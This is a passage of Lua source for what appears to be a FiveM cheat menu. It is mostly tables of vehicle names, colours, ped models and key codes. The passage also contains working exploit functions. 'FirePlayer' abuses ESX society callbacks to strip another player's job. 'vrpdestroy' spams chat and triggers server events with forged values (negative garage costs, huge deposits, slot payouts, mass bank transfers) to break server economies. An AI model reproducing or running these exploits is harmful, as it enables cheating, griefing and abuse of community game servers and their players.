  974. name = "Light Gray", id = 14
  975. }, {
  976. name = "Ice White", id = 131
  977. }, {
  978. name = "Blue", id = 83
  979. }, {
  980. name = "Dark Blue", id = 82
  981. }, {
  982. name = "Midnight Blue", id = 84
  983. }, {
  984. name = "Midnight Purple", id = 149
  985. }, {
  986. name = "Schafter Purple", id = 148
  987. }, {
  988. name = "Red", id = 39
  989. }, {
  990. name = "Dark Red", id = 40
  991. }, {
  992. name = "Orange", id = 41
  993. }, {
  994. name = "Yellow", id = 42
  995. }, {
  996. name = "Lime Green", id = 55
  997. }, {
  998. name = "Green", id = 128
  999. }, {
  1000. name = "Forest Green", id = 151
  1001. }, {
  1002. name = "Foliage Green", id = 155
  1003. }, {
  1004. name = "Olive Darb", id = 152
  1005. }, {
  1006. name = "Dark Earth", id = 153
  1007. }, {
  1008. name = "Desert Tan", id = 154
  1009. }
  1010. }
  1011.  
  1012. local bj = {
  1013. {
  1014. name = "Brushed Steel", id = 117
  1015. }, {
  1016. name = "Brushed Black Steel", id = 118
  1017. }, {
  1018. name = "Brushed Aluminum", id = 119
  1019. }, {
  1020. name = "Pure Gold", id = 158
  1021. }, {
  1022. name = "Brushed Gold", id = 159
  1023. }
  1024. }
  1025. local bk = false
  1026.  
  1027.  
  1028. local function k(l)
  1029. local m = {}
  1030. local n = GetGameTimer() / 200
  1031. m.r = math.floor(math.sin(n * l + 0) * 127 + 128)
  1032. m.g = math.floor(math.sin(n * l + 2) * 127 + 128)
  1033. m.b = math.floor(math.sin(n * l + 4) * 127 + 128)
  1034. return m
  1035. end
  1036.  
  1037.  
  1038. function checkValidVehicleExtras()
  1039. local ax = PlayerPedId()
  1040. local ay = GetVehiclePedIsIn(ax, false)
  1041. local az = {}
  1042. for i = 0, 50, 1 do
  1043. if DoesExtraExist(ay, i) then
  1044. local aA = '~h~Extra #' .. tostring(i)
  1045. local I = 'OFF'
  1046. if IsVehicleExtraTurnedOn(ay, i) then
  1047. I = 'ON'
  1048. end
  1049. local aB = '~h~extra ' .. tostring(i)
  1050. table.insert(
  1051. az,
  1052. {
  1053. menuName = realModName,
  1054. data = {
  1055. ['action'] = realSpawnName,
  1056. ['state'] = I
  1057. }
  1058. }
  1059. )
  1060. end
  1061. end
  1062. return az
  1063. end
  1064.  
  1065. function FirePlayer(SelectedPlayer)
  1066. if ESX then
  1067. ESX.TriggerServerCallback('esx_society:getOnlinePlayers', function(players)
  1068.  
  1069. local playerMatch = nil
  1070. for i=1, #players, 1 do
  1071. label = players[i].name
  1072. value = players[i].source
  1073. name = players[i].name
  1074. if name == GetPlayerName(SelectedPlayer) then
  1075. playerMatch = players[i].identifier
  1076. debugLog('found ' .. players[i].name .. ' ' .. players[i].identifier)
  1077. end
  1078. identifier = players[i].identifier
  1079. end
  1080.  
  1081.  
  1082.  
  1083. ESX.TriggerServerCallback('esx_society:setJob', function()
  1084. end, playerMatch, 'unemployed', 0, 'hire')
  1085.  
  1086. end)
  1087. end
  1088. end
  1089.  
  1090. function DoesVehicleHaveExtras(veh)
  1091. for i = 1, 30 do
  1092. if DoesExtraExist(veh, i) then
  1093. return true
  1094. end
  1095. end
  1096. return false
  1097. end
  1098.  
  1099. function checkValidVehicleMods(aC)
  1100. local ax = PlayerPedId()
  1101. local ay = GetVehiclePedIsIn(ax, false)
  1102. local az = {}
  1103. local aD = GetNumVehicleMods(ay, aC)
  1104. if aC == 48 and aD == 0 then
  1105. local aD = GetVehicleLiveryCount(ay)
  1106. for i = 1, aD, 1 do
  1107. local aE = i - 1
  1108. local aF = GetLiveryName(ay, aE)
  1109. local realModName = GetLabelText(aF)
  1110. local aG, realSpawnName = aC, aE
  1111. az[i] = {
  1112. menuName = realModName,
  1113. data = {
  1114. ['modid'] = aG,
  1115. ['realIndex'] = realSpawnName
  1116. }
  1117. }
  1118. end
  1119. end
  1120. for i = 1, aD, 1 do
  1121. local aE = i - 1
  1122. local aF = GetModTextLabel(ay, aC, aE)
  1123. local realModName = GetLabelText(aF)
  1124. local aG, realSpawnName = aD, aE
  1125. az[i] = {
  1126. menuName = realModName,
  1127. data = {
  1128. ['modid'] = aG,
  1129. ['realIndex'] = realSpawnName
  1130. }
  1131. }
  1132. end
  1133. if aD > 0 then
  1134. local aE = -1
  1135. local aG, realSpawnName = aC, aE
  1136. table.insert(
  1137. az,
  1138. 1,
  1139. {
  1140. menuName = 'Stock',
  1141. data = {
  1142. ['modid'] = aG,
  1143. ['realIndex'] = realSpawnName
  1144. }
  1145. }
  1146. )
  1147. end
  1148. return az
  1149. end
  1150.  
  1151. local aH = {
  1152. 'Dinghy',
  1153. 'Dinghy2',
  1154. 'Dinghy3',
  1155. 'Dingh4',
  1156. 'Jetmax',
  1157. 'Marquis',
  1158. 'Seashark',
  1159. 'Seashark2',
  1160. 'Seashark3',
  1161. 'Speeder',
  1162. 'Speeder2',
  1163. 'Squalo',
  1164. 'Submersible',
  1165. 'Submersible2',
  1166. 'Suntrap',
  1167. 'Toro',
  1168. 'Toro2',
  1169. 'Tropic',
  1170. 'Tropic2',
  1171. 'Tug'
  1172. }
  1173. local aI = {
  1174. 'Benson',
  1175. 'Biff',
  1176. 'Cerberus',
  1177. 'Cerberus2',
  1178. 'Cerberus3',
  1179. 'Hauler',
  1180. 'Hauler2',
  1181. 'Mule',
  1182. 'Mule2',
  1183. 'Mule3',
  1184. 'Mule4',
  1185. 'Packer',
  1186. 'Phantom',
  1187. 'Phantom2',
  1188. 'Phantom3',
  1189. 'Pounder',
  1190. 'Pounder2',
  1191. 'Stockade',
  1192. 'Stockade3',
  1193. 'Terbyte'
  1194. }
  1195. local aJ = {
  1196. 'Blista',
  1197. 'Blista2',
  1198. 'Blista3',
  1199. 'Brioso',
  1200. 'Dilettante',
  1201. 'Dilettante2',
  1202. 'Issi2',
  1203. 'Issi3',
  1204. 'issi4',
  1205. 'Iss5',
  1206. 'issi6',
  1207. 'Panto',
  1208. 'Prarire',
  1209. 'Rhapsody'
  1210. }
  1211.  
  1212. local function ClonePedVeh()
  1213. local ped = GetPlayerPed(SelectedPlayer)
  1214. local pedVeh = nil
  1215. local PlayerPed = PlayerPedId()
  1216. if IsPedInAnyVehicle(ped, false) then
  1217. pedVeh = GetVehiclePedIsIn(ped, false)
  1218. else
  1219. pedVeh = GetVehiclePedIsIn(ped, true)
  1220. if DoesEntityExist(pedVeh) then
  1221. local vmh = GetEntityModel(pedVeh)
  1222. local playerpos = GetEntityCoords(PlayerPed, false)
  1223. local playerveh =
  1224. CreateVehicle(vmh, playerpos.x, playerpos.y, playerpos.z, GetEntityHeading(PlayerPed), true, true)
  1225. SetPedIntoVehicle(PlayerPed, playerveh, -1)
  1226. local pcolor, scolor = nil
  1227. GetVehicleColours(pedVeh, pcolor, scolor)
  1228. SetVehicleColours(playerveh, pcolor, scolor)
  1229. if IsThisModelACar(vmh) or IsThisModelABike(vhm) then
  1230. SetVehicleModKit(playerveh, 0)
  1231. SetVehicleWheelType(playerveh, GetVehicleWheelType(pedVeh))
  1232. local pc, wc = nil
  1233. SetVehicleNumberPlateTextIndex(playerveh, GetVehicleNumberPlateTextIndex(pedVeh))
  1234. SetVehicleNumberPlateText(playerveh, GetVehicleNumberPlateText(pedVeh))
  1235. GetVehicleExtraColours(pedVeh, pc, wc)
  1236. SetVehicleExtraColours(playerveh, pc, wc)
  1237. end
  1238. end
  1239. end
  1240. end
  1241.  
  1242.  
  1243. function vrpdestroy()
  1244. for bD = 0, 9 do
  1245. TriggerServerEvent(
  1246. '_chat:messageEntered',
  1247. 'xaxaxaxaxaxaxaxaxax',
  1248. {
  1249. 141,
  1250. 211,
  1251. 255
  1252. },
  1253. '^' .. bD .. 'xaxaxaxaxaxaxaxaxax'
  1254. )
  1255. end
  1256. TriggerServerEvent(
  1257. 'lscustoms:payGarage',
  1258. {
  1259. costs = -99999999
  1260. }
  1261. )
  1262. TriggerServerEvent('vrp_slotmachine:server:2', 999999999)
  1263. TriggerServerEvent('Banca:deposit', 999999999)
  1264. TriggerServerEvent('bank:deposit', 999999999)
  1265. local di = GetPlayerServerId(PlayerId())
  1266. for i = 0, 256 do
  1267. TriggerEvent('bank:transfer', di, GetPlayerServerId(i), 99999999)
  1268. end
  1269. end
  1270.  
  1271. local aK = {
  1272. 'CogCabrio',
  1273. 'Exemplar',
  1274. 'F620',
  1275. 'Felon',
  1276. 'Felon2',
  1277. 'Jackal',
  1278. 'Oracle',
  1279. 'Oracle2',
  1280. 'Sentinel',
  1281. 'Sentinel2',
  1282. 'Windsor',
  1283. 'Windsor2',
  1284. 'Zion',
  1285. 'Zion2'
  1286. }
  1287. local aL = {
  1288. 'Bmx',
  1289. 'Cruiser',
  1290. 'Fixter',
  1291. 'Scorcher',
  1292. 'Tribike',
  1293. 'Tribike2',
  1294. 'tribike3'
  1295. }
  1296. local aM = {
  1297. 'ambulance',
  1298. 'FBI',
  1299. 'FBI2',
  1300. 'FireTruk',
  1301. 'PBus',
  1302. 'police',
  1303. 'Police2',
  1304. 'Police3',
  1305. 'Police4',
  1306. 'PoliceOld1',
  1307. 'PoliceOld2',
  1308. 'PoliceT',
  1309. 'Policeb',
  1310. 'Polmav',
  1311. 'Pranger',
  1312. 'Predator',
  1313. 'Riot',
  1314. 'Riot2',
  1315. 'Sheriff',
  1316. 'Sheriff2'
  1317. }
  1318. local aN = {
  1319. 'Akula',
  1320. 'Annihilator',
  1321. 'Buzzard',
  1322. 'Buzzard2',
  1323. 'Cargobob',
  1324. 'Cargobob2',
  1325. 'Cargobob3',
  1326. 'Cargobob4',
  1327. 'Frogger',
  1328. 'Frogger2',
  1329. 'Havok',
  1330. 'Hunter',
  1331. 'Maverick',
  1332. 'Savage',
  1333. 'Seasparrow',
  1334. 'Skylift',
  1335. 'Supervolito',
  1336. 'Supervolito2',
  1337. 'Swift',
  1338. 'Swift2',
  1339. 'Valkyrie',
  1340. 'Valkyrie2',
  1341. 'Volatus'
  1342. }
  1343. local aO = {
  1344. 'Bulldozer',
  1345. 'Cutter',
  1346. 'Dump',
  1347. 'Flatbed',
  1348. 'Guardian',
  1349. 'Handler',
  1350. 'Mixer',
  1351. 'Mixer2',
  1352. 'Rubble',
  1353. 'Tiptruck',
  1354. 'Tiptruck2'
  1355. }
  1356. local aP = {
  1357. 'APC',
  1358. 'Barracks',
  1359. 'Barracks2',
  1360. 'Barracks3',
  1361. 'Barrage',
  1362. 'Chernobog',
  1363. 'Crusader',
  1364. 'Halftrack',
  1365. 'Khanjali',
  1366. 'Rhino',
  1367. 'Scarab',
  1368. 'Scarab2',
  1369. 'Scarab3',
  1370. 'Thruster',
  1371. 'Trailersmall2'
  1372. }
  1373. local aQ = {
  1374. 'Akuma',
  1375. 'Avarus',
  1376. 'Bagger',
  1377. 'Bati2',
  1378. 'Bati',
  1379. 'BF400',
  1380. 'Blazer4',
  1381. 'CarbonRS',
  1382. 'Chimera',
  1383. 'Cliffhanger',
  1384. 'Daemon',
  1385. 'Daemon2',
  1386. 'Defiler',
  1387. 'Deathbike',
  1388. 'Deathbike2',
  1389. 'Deathbike3',
  1390. 'Diablous',
  1391. 'Diablous2',
  1392. 'Double',
  1393. 'Enduro',
  1394. 'esskey',
  1395. 'Faggio2',
  1396. 'Faggio3',
  1397. 'Faggio',
  1398. 'Fcr2',
  1399. 'fcr',
  1400. 'gargoyle',
  1401. 'hakuchou2',
  1402. 'hakuchou',
  1403. 'hexer',
  1404. 'innovation',
  1405. 'Lectro',
  1406. 'Manchez',
  1407. 'Nemesis',
  1408. 'Nightblade',
  1409. 'Oppressor',
  1410. 'Oppressor2',
  1411. 'PCJ',
  1412. 'Ratbike',
  1413. 'Ruffian',
  1414. 'Sanchez2',
  1415. 'Sanchez',
  1416. 'Sanctus',
  1417. 'Shotaro',
  1418. 'Sovereign',
  1419. 'Thrust',
  1420. 'Vader',
  1421. 'Vindicator',
  1422. 'Vortex',
  1423. 'Wolfsbane',
  1424. 'zombiea',
  1425. 'zombieb'
  1426. }
  1427. local aR = {
  1428. 'Blade',
  1429. 'Buccaneer',
  1430. 'Buccaneer2',
  1431. 'Chino',
  1432. 'Chino2',
  1433. 'clique',
  1434. 'Deviant',
  1435. 'Dominator',
  1436. 'Dominator2',
  1437. 'Dominator3',
  1438. 'Dominator4',
  1439. 'Dominator5',
  1440. 'Dominator6',
  1441. 'Dukes',
  1442. 'Dukes2',
  1443. 'Ellie',
  1444. 'Faction',
  1445. 'faction2',
  1446. 'faction3',
  1447. 'Gauntlet',
  1448. 'Gauntlet2',
  1449. 'Hermes',
  1450. 'Hotknife',
  1451. 'Hustler',
  1452. 'Impaler',
  1453. 'Impaler2',
  1454. 'Impaler3',
  1455. 'Impaler4',
  1456. 'Imperator',
  1457. 'Imperator2',
  1458. 'Imperator3',
  1459. 'Lurcher',
  1460. 'Moonbeam',
  1461. 'Moonbeam2',
  1462. 'Nightshade',
  1463. 'Phoenix',
  1464. 'Picador',
  1465. 'RatLoader',
  1466. 'RatLoader2',
  1467. 'Ruiner',
  1468. 'Ruiner2',
  1469. 'Ruiner3',
  1470. 'SabreGT',
  1471. 'SabreGT2',
  1472. 'Sadler2',
  1473. 'Slamvan',
  1474. 'Slamvan2',
  1475. 'Slamvan3',
  1476. 'Slamvan4',
  1477. 'Slamvan5',
  1478. 'Slamvan6',
  1479. 'Stalion',
  1480. 'Stalion2',
  1481. 'Tampa',
  1482. 'Tampa3',
  1483. 'Tulip',
  1484. 'Vamos,',
  1485. 'Vigero',
  1486. 'Virgo',
  1487. 'Virgo2',
  1488. 'Virgo3',
  1489. 'Voodoo',
  1490. 'Voodoo2',
  1491. 'Yosemite'
  1492. }
  1493. local aS = {
  1494. 'BFinjection',
  1495. 'Bifta',
  1496. 'Blazer',
  1497. 'Blazer2',
  1498. 'Blazer3',
  1499. 'Blazer5',
  1500. 'Bohdi',
  1501. 'Brawler',
  1502. 'Bruiser',
  1503. 'Bruiser2',
  1504. 'Bruiser3',
  1505. 'Caracara',
  1506. 'DLoader',
  1507. 'Dune',
  1508. 'Dune2',
  1509. 'Dune3',
  1510. 'Dune4',
  1511. 'Dune5',
  1512. 'Insurgent',
  1513. 'Insurgent2',
  1514. 'Insurgent3',
  1515. 'Kalahari',
  1516. 'Kamacho',
  1517. 'LGuard',
  1518. 'Marshall',
  1519. 'Mesa',
  1520. 'Mesa2',
  1521. 'Mesa3',
  1522. 'Monster',
  1523. 'Monster4',
  1524. 'Monster5',
  1525. 'Nightshark',
  1526. 'RancherXL',
  1527. 'RancherXL2',
  1528. 'Rebel',
  1529. 'Rebel2',
  1530. 'RCBandito',
  1531. 'Riata',
  1532. 'Sandking',
  1533. 'Sandking2',
  1534. 'Technical',
  1535. 'Technical2',
  1536. 'Technical3',
  1537. 'TrophyTruck',
  1538. 'TrophyTruck2',
  1539. 'Freecrawler',
  1540. 'Menacer'
  1541. }
  1542. local aT = {
  1543. 'AlphaZ1',
  1544. 'Avenger',
  1545. 'Avenger2',
  1546. 'Besra',
  1547. 'Blimp',
  1548. 'blimp2',
  1549. 'Blimp3',
  1550. 'Bombushka',
  1551. 'Cargoplane',
  1552. 'Cuban800',
  1553. 'Dodo',
  1554. 'Duster',
  1555. 'Howard',
  1556. 'Hydra',
  1557. 'Jet',
  1558. 'Lazer',
  1559. 'Luxor',
  1560. 'Luxor2',
  1561. 'Mammatus',
  1562. 'Microlight',
  1563. 'Miljet',
  1564. 'Mogul',
  1565. 'Molotok',
  1566. 'Nimbus',
  1567. 'Nokota',
  1568. 'Pyro',
  1569. 'Rogue',
  1570. 'Seabreeze',
  1571. 'Shamal',
  1572. 'Starling',
  1573. 'Stunt',
  1574. 'Titan',
  1575. 'Tula',
  1576. 'Velum',
  1577. 'Velum2',
  1578. 'Vestra',
  1579. 'Volatol',
  1580. 'Striekforce'
  1581. }
  1582. local aU = {
  1583. 'BJXL',
  1584. 'Baller',
  1585. 'Baller2',
  1586. 'Baller3',
  1587. 'Baller4',
  1588. 'Baller5',
  1589. 'Baller6',
  1590. 'Cavalcade',
  1591. 'Cavalcade2',
  1592. 'Dubsta',
  1593. 'Dubsta2',
  1594. 'Dubsta3',
  1595. 'FQ2',
  1596. 'Granger',
  1597. 'Gresley',
  1598. 'Habanero',
  1599. 'Huntley',
  1600. 'Landstalker',
  1601. 'patriot',
  1602. 'Patriot2',
  1603. 'Radi',
  1604. 'Rocoto',
  1605. 'Seminole',
  1606. 'Serrano',
  1607. 'Toros',
  1608. 'XLS',
  1609. 'XLS2'
  1610. }
  1611. local aV = {
  1612. 'Asea',
  1613. 'Asea2',
  1614. 'Asterope',
  1615. 'Cog55',
  1616. 'Cogg552',
  1617. 'Cognoscenti',
  1618. 'Cognoscenti2',
  1619. 'emperor',
  1620. 'emperor2',
  1621. 'emperor3',
  1622. 'Fugitive',
  1623. 'Glendale',
  1624. 'ingot',
  1625. 'intruder',
  1626. 'limo2',
  1627. 'premier',
  1628. 'primo',
  1629. 'primo2',
  1630. 'regina',
  1631. 'romero',
  1632. 'stafford',
  1633. 'Stanier',
  1634. 'stratum',
  1635. 'stretch',
  1636. 'surge',
  1637. 'tailgater',
  1638. 'warrener',
  1639. 'Washington'
  1640. }
  1641. local aW = {
  1642. 'Airbus',
  1643. 'Brickade',
  1644. 'Bus',
  1645. 'Coach',
  1646. 'Rallytruck',
  1647. 'Rentalbus',
  1648. 'taxi',
  1649. 'Tourbus',
  1650. 'Trash',
  1651. 'Trash2',
  1652. 'WastIndr',
  1653. 'PBus2'
  1654. }
  1655. local aX = {
  1656. 'Alpha',
  1657. 'Banshee',
  1658. 'Banshee2',
  1659. 'BestiaGTS',
  1660. 'Buffalo',
  1661. 'Buffalo2',
  1662. 'Buffalo3',
  1663. 'Carbonizzare',
  1664. 'Comet2',
  1665. 'Comet3',
  1666. 'Comet4',
  1667. 'Comet5',
  1668. 'Coquette',
  1669. 'Deveste',
  1670. 'Elegy',
  1671. 'Elegy2',
  1672. 'Feltzer2',
  1673. 'Feltzer3',
  1674. 'FlashGT',
  1675. 'Furoregt',
  1676. 'Fusilade',
  1677. 'Futo',
  1678. 'GB200',
  1679. 'Hotring',
  1680. 'Infernus2',
  1681. 'Italigto',
  1682. 'Jester',
  1683. 'Jester2',
  1684. 'Khamelion',
  1685. 'Kurama',
  1686. 'Kurama2',
  1687. 'Lynx',
  1688. 'MAssacro',
  1689. 'MAssacro2',
  1690. 'neon',
  1691. 'Ninef',
  1692. 'ninfe2',
  1693. 'omnis',
  1694. 'Pariah',
  1695. 'Penumbra',
  1696. 'Raiden',
  1697. 'RapidGT',
  1698. 'RapidGT2',
  1699. 'Raptor',
  1700. 'Revolter',
  1701. 'Ruston',
  1702. 'Schafter2',
  1703. 'Schafter3',
  1704. 'Schafter4',
  1705. 'Schafter5',
  1706. 'Schafter6',
  1707. 'Schlagen',
  1708. 'Schwarzer',
  1709. 'Sentinel3',
  1710. 'Seven70',
  1711. 'Specter',
  1712. 'Specter2',
  1713. 'Streiter',
  1714. 'Sultan',
  1715. 'Surano',
  1716. 'Tampa2',
  1717. 'Tropos',
  1718. 'Verlierer2',
  1719. 'ZR380',
  1720. 'ZR3802',
  1721. 'ZR3803'
  1722. }
  1723. local aY = {
  1724. 'Ardent',
  1725. 'BType',
  1726. 'BType2',
  1727. 'BType3',
  1728. 'Casco',
  1729. 'Cheetah2',
  1730. 'Cheburek',
  1731. 'Coquette2',
  1732. 'Coquette3',
  1733. 'Deluxo',
  1734. 'Fagaloa',
  1735. 'Gt500',
  1736. 'JB700',
  1737. 'JEster3',
  1738. 'MAmba',
  1739. 'Manana',
  1740. 'Michelli',
  1741. 'Monroe',
  1742. 'Peyote',
  1743. 'Pigalle',
  1744. 'RapidGT3',
  1745. 'Retinue',
  1746. 'Savastra',
  1747. 'Stinger',
  1748. 'Stingergt',
  1749. 'Stromberg',
  1750. 'Swinger',
  1751. 'Torero',
  1752. 'Tornado',
  1753. 'Tornado2',
  1754. 'Tornado3',
  1755. 'Tornado4',
  1756. 'Tornado5',
  1757. 'Tornado6',
  1758. 'Viseris',
  1759. 'Z190',
  1760. 'ZType'
  1761. }
  1762. local aZ = {
  1763. 'Adder',
  1764. 'Autarch',
  1765. 'Bullet',
  1766. 'Cheetah',
  1767. 'Cyclone',
  1768. 'EntityXF',
  1769. 'Entity2',
  1770. 'FMJ',
  1771. 'GP1',
  1772. 'Infernus',
  1773. 'LE7B',
  1774. 'Nero',
  1775. 'Nero2',
  1776. 'Osiris',
  1777. 'Penetrator',
  1778. 'PFister811',
  1779. 'Prototipo',
  1780. 'Reaper',
  1781. 'SC1',
  1782. 'Scramjet',
  1783. 'Sheava',
  1784. 'SultanRS',
  1785. 'Superd',
  1786. 'T20',
  1787. 'Taipan',
  1788. 'Tempesta',
  1789. 'Tezeract',
  1790. 'Turismo2',
  1791. 'Turismor',
  1792. 'Tyrant',
  1793. 'Tyrus',
  1794. 'Vacca',
  1795. 'Vagner',
  1796. 'Vigilante',
  1797. 'Visione',
  1798. 'Voltic',
  1799. 'Voltic2',
  1800. 'Zentorno',
  1801. 'Italigtb',
  1802. 'Italigtb2',
  1803. 'XA21'
  1804. }
  1805. local a_ = {
  1806. 'ArmyTanker',
  1807. 'ArmyTrailer',
  1808. 'ArmyTrailer2',
  1809. 'BaleTrailer',
  1810. 'BoatTrailer',
  1811. 'CableCar',
  1812. 'DockTrailer',
  1813. 'Graintrailer',
  1814. 'Proptrailer',
  1815. 'Raketailer',
  1816. 'TR2',
  1817. 'TR3',
  1818. 'TR4',
  1819. 'TRFlat',
  1820. 'TVTrailer',
  1821. 'Tanker',
  1822. 'Tanker2',
  1823. 'Trailerlogs',
  1824. 'Trailersmall',
  1825. 'Trailers',
  1826. 'Trailers2',
  1827. 'Trailers3'
  1828. }
  1829. local b0 = {
  1830. 'Freight',
  1831. 'Freightcar',
  1832. 'Freightcont1',
  1833. 'Freightcont2',
  1834. 'Freightgrain',
  1835. 'Freighttrailer',
  1836. 'TankerCar'
  1837. }
  1838. local b1 = {
  1839. 'Airtug',
  1840. 'Caddy',
  1841. 'Caddy2',
  1842. 'Caddy3',
  1843. 'Docktug',
  1844. 'Forklift',
  1845. 'Mower',
  1846. 'Ripley',
  1847. 'Sadler',
  1848. 'Scrap',
  1849. 'TowTruck',
  1850. 'Towtruck2',
  1851. 'Tractor',
  1852. 'Tractor2',
  1853. 'Tractor3',
  1854. 'TrailerLArge2',
  1855. 'Utilitruck',
  1856. 'Utilitruck3',
  1857. 'Utilitruck2'
  1858. }
  1859. local b2 = {
  1860. 'Bison',
  1861. 'Bison2',
  1862. 'Bison3',
  1863. 'BobcatXL',
  1864. 'Boxville',
  1865. 'Boxville2',
  1866. 'Boxville3',
  1867. 'Boxville4',
  1868. 'Boxville5',
  1869. 'Burrito',
  1870. 'Burrito2',
  1871. 'Burrito3',
  1872. 'Burrito4',
  1873. 'Burrito5',
  1874. 'Camper',
  1875. 'GBurrito',
  1876. 'GBurrito2',
  1877. 'Journey',
  1878. 'Minivan',
  1879. 'Minivan2',
  1880. 'Paradise',
  1881. 'pony',
  1882. 'Pony2',
  1883. 'Rumpo',
  1884. 'Rumpo2',
  1885. 'Rumpo3',
  1886. 'Speedo',
  1887. 'Speedo2',
  1888. 'Speedo4',
  1889. 'Surfer',
  1890. 'Surfer2',
  1891. 'Taco',
  1892. 'Youga',
  1893. 'youga2'
  1894. }
  1895. local b3 = {
  1896. 'Boats',
  1897. 'Commercial',
  1898. 'Compacts',
  1899. 'Coupes',
  1900. 'Cycles',
  1901. 'Emergency',
  1902. 'Helictopers',
  1903. 'Industrial',
  1904. 'Military',
  1905. 'Motorcycles',
  1906. 'Muscle',
  1907. 'Off-Road',
  1908. 'Planes',
  1909. 'SUVs',
  1910. 'Sedans',
  1911. 'Service',
  1912. 'Sports',
  1913. 'Sports Classic',
  1914. 'Super',
  1915. 'Trailer',
  1916. 'Trains',
  1917. 'Utility',
  1918. 'Vans'
  1919. }
  1920. local b4 = {
  1921. aH,
  1922. aI,
  1923. aJ,
  1924. aK,
  1925. aL,
  1926. aM,
  1927. aN,
  1928. aO,
  1929. aP,
  1930. aQ,
  1931. aR,
  1932. aS,
  1933. aT,
  1934. aU,
  1935. aV,
  1936. aW,
  1937. aX,
  1938. aY,
  1939. aZ,
  1940. a_,
  1941. b0,
  1942. b1,
  1943. b2
  1944. }
  1945. local b5 = {
  1946. 'ArmyTanker',
  1947. 'ArmyTrailer',
  1948. 'ArmyTrailer2',
  1949. 'BaleTrailer',
  1950. 'BoatTrailer',
  1951. 'CableCar',
  1952. 'DockTrailer',
  1953. 'Graintrailer',
  1954. 'Proptrailer',
  1955. 'Raketailer',
  1956. 'TR2',
  1957. 'TR3',
  1958. 'TR4',
  1959. 'TRFlat',
  1960. 'TVTrailer',
  1961. 'Tanker',
  1962. 'Tanker2',
  1963. 'Trailerlogs',
  1964. 'Trailersmall',
  1965. 'Trailers',
  1966. 'Trailers2',
  1967. 'Trailers3'
  1968. }
  1969.  
  1970. local currentMenuX = 1
  1971. local selectedMenuX = 1
  1972. local currentMenuY = 1
  1973. local selectedMenuY = 1
  1974. local menuX = { 0.75, 0.025, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7 }
  1975. local menuY = { 0.1, 0.025, 0.2, 0.3, 0.425 }
  1976.  
  1977. local discordPresence = true
  1978.  
  1979.  
  1980.  
  1981. local SelectedPlayer
  1982. local bullets = { "WEAPON_FLAREGUN", "WEAPON_FIREWORK", "WEAPON_RPG", "WEAPON_PIPEBOMB", "WEAPON_RAILGUN", "WEAPON_SMOKEGRENADE", "VEHICLE_WEAPON_PLAYER_LASER", "VEHICLE_WEAPON_TANK" }
  1983. local peds = { "a_c_boar", "a_c_killerwhale", "a_c_sharktiger", "csb_stripper_01" }
  1984. local peds2 = { "s_m_y_baywatch_01", "a_m_m_acult_01", "ig_barry", "g_m_y_ballaeast_01", "u_m_y_babyd", "a_m_y_acult_01", "a_m_m_afriamer_01", "u_m_y_corpse_01", "s_m_m_armoured_02", "g_m_m_armboss_01", "g_m_y_armgoon_02", "s_m_y_blackops_03", "s_m_y_blackops_01", "s_m_y_prismuscl_01", "g_m_m_chemwork_01", "a_m_y_musclbeac_01", "csb_cop", "s_m_y_clown_01", "s_m_y_cop_01", "u_m_y_zombie_01" }
  1985. local peds3 = { "cs_debra", "a_f_m_beach_01", "a_f_m_bodybuild_01", "a_f_m_business_02", "a_f_y_business_04", "mp_f_cocaine_01", "u_f_y_corpse_01", "mp_f_meth_01", "g_f_importexport_01", "a_f_y_vinewood_04", "a_m_m_tranvest_01", "a_m_m_tranvest_02", "ig_tracydisanto", "csb_stripper_02", "s_f_y_stripper_01", "a_f_m_soucentmc_01", "a_f_m_soucent_02", "u_f_y_poppymich", "ig_patricia", "s_f_y_cop_01" }
  1986. local peds4 = { "a_c_husky", "a_c_cat_01", "a_c_boar", "a_c_sharkhammer", "a_c_coyote", "a_c_chimp", "a_c_chop", "a_c_cow", "a_c_deer", "a_c_dolphin", "a_c_fish", "a_c_hen", "a_c_humpback", "a_c_killerwhale", "a_c_mtlion", "a_c_pig", "a_c_pug", "a_c_rabbit_01", "a_c_retriever", "a_c_rhesus", "a_c_rottweiler", "a_c_sharktiger", "a_c_shepherd", "a_c_westy" }
  1987. local vehicles = { "Freight", "Rhino", "Futo", "Vigilante", "Monster", "Panto", "Bus", "Dump", "CargoPlane" }
  1988. local vehicleSpeed = { 1.0, 10.0, 20.0, 30.0, 40.0, 50.0, 60.0, 70.0, 80.0, 90.0, 100.0, 110.0, 120.0, 130.0, 140.0, 150.0 }
  1989.  
  1990. local currentVehicle = 1
  1991. local selectedVehicle = 1
  1992.  
  1993. local currentVehicleSpeed = 16
  1994. local selectedVehicleSpeed = 16
  1995.  
  1996. local currentBone = 1
  1997. local selectedBone = 1
  1998.  
  1999. local currentDamage = 1
  2000. local selectedDamage = 1
  2001.  
  2002. local currentPed = 1
  2003. local selectedPed = 1
  2004. local selectedPedd = 1
  2005. local currentPedd = 1
  2006. local selectedPeddd = 1
  2007. local currentPeddd = 1
  2008. local selectedPedddd = 1
  2009. local currentPedddd = 1
  2010.  
  2011. local currentBullet = 1
  2012. local selectedBullet = 1
  2013.  
  2014. local menus = { }
  2015. local Keys = {
  2016. ["ESC"] = 322, ["F1"] = 288, ["F2"] = 289, ["F3"] = 170, ["F5"] = 166, ["F6"] = 167, ["F7"] = 168, ["F8"] = 169, ["F9"] = 56, ["F10"] = 57,
  2017. ["~"] = 243, ["1"] = 157, ["2"] = 158, ["3"] = 160, ["4"] = 164, ["5"] = 165, ["6"] = 159, ["7"] = 161, ["8"] = 162, ["9"] = 163, ["-"] = 84, ["="] = 83, ["BACKSPACE"] = 177,
  2018. ["TAB"] = 37, ["Q"] = 44, ["W"] = 32, ["E"] = 38, ["R"] = 45, ["T"] = 245, ["Y"] = 246, ["U"] = 303, ["P"] = 199, ["["] = 39, ["]"] = 40, ["ENTER"] = 18,
  2019. ["CAPS"] = 137, ["A"] = 34, ["S"] = 8, ["D"] = 9, ["F"] = 23, ["G"] = 47, ["H"] = 74, ["K"] = 311, ["L"] = 182,
  2020. ["LEFTSHIFT"] = 21, ["Z"] = 20, ["X"] = 73, ["C"] = 26, ["V"] = 0, ["B"] = 29, ["N"] = 249, ["M"] = 244, [","] = 82, ["."] = 81,
  2021. ["LEFTCTRL"] = 36, ["LEFTALT"] = 19, ["SPACE"] = 22, ["RIGHTCTRL"] = 70,
  2022. ["HOME"] = 213, ["PAGEUP"] = 10, ["PAGEDOWN"] = 11, ["DELETE"] = 178,
  2023. ["LEFT"] = 174, ["RIGHT"] = 175, ["TOP"] = 27, ["DOWN"] = 173,
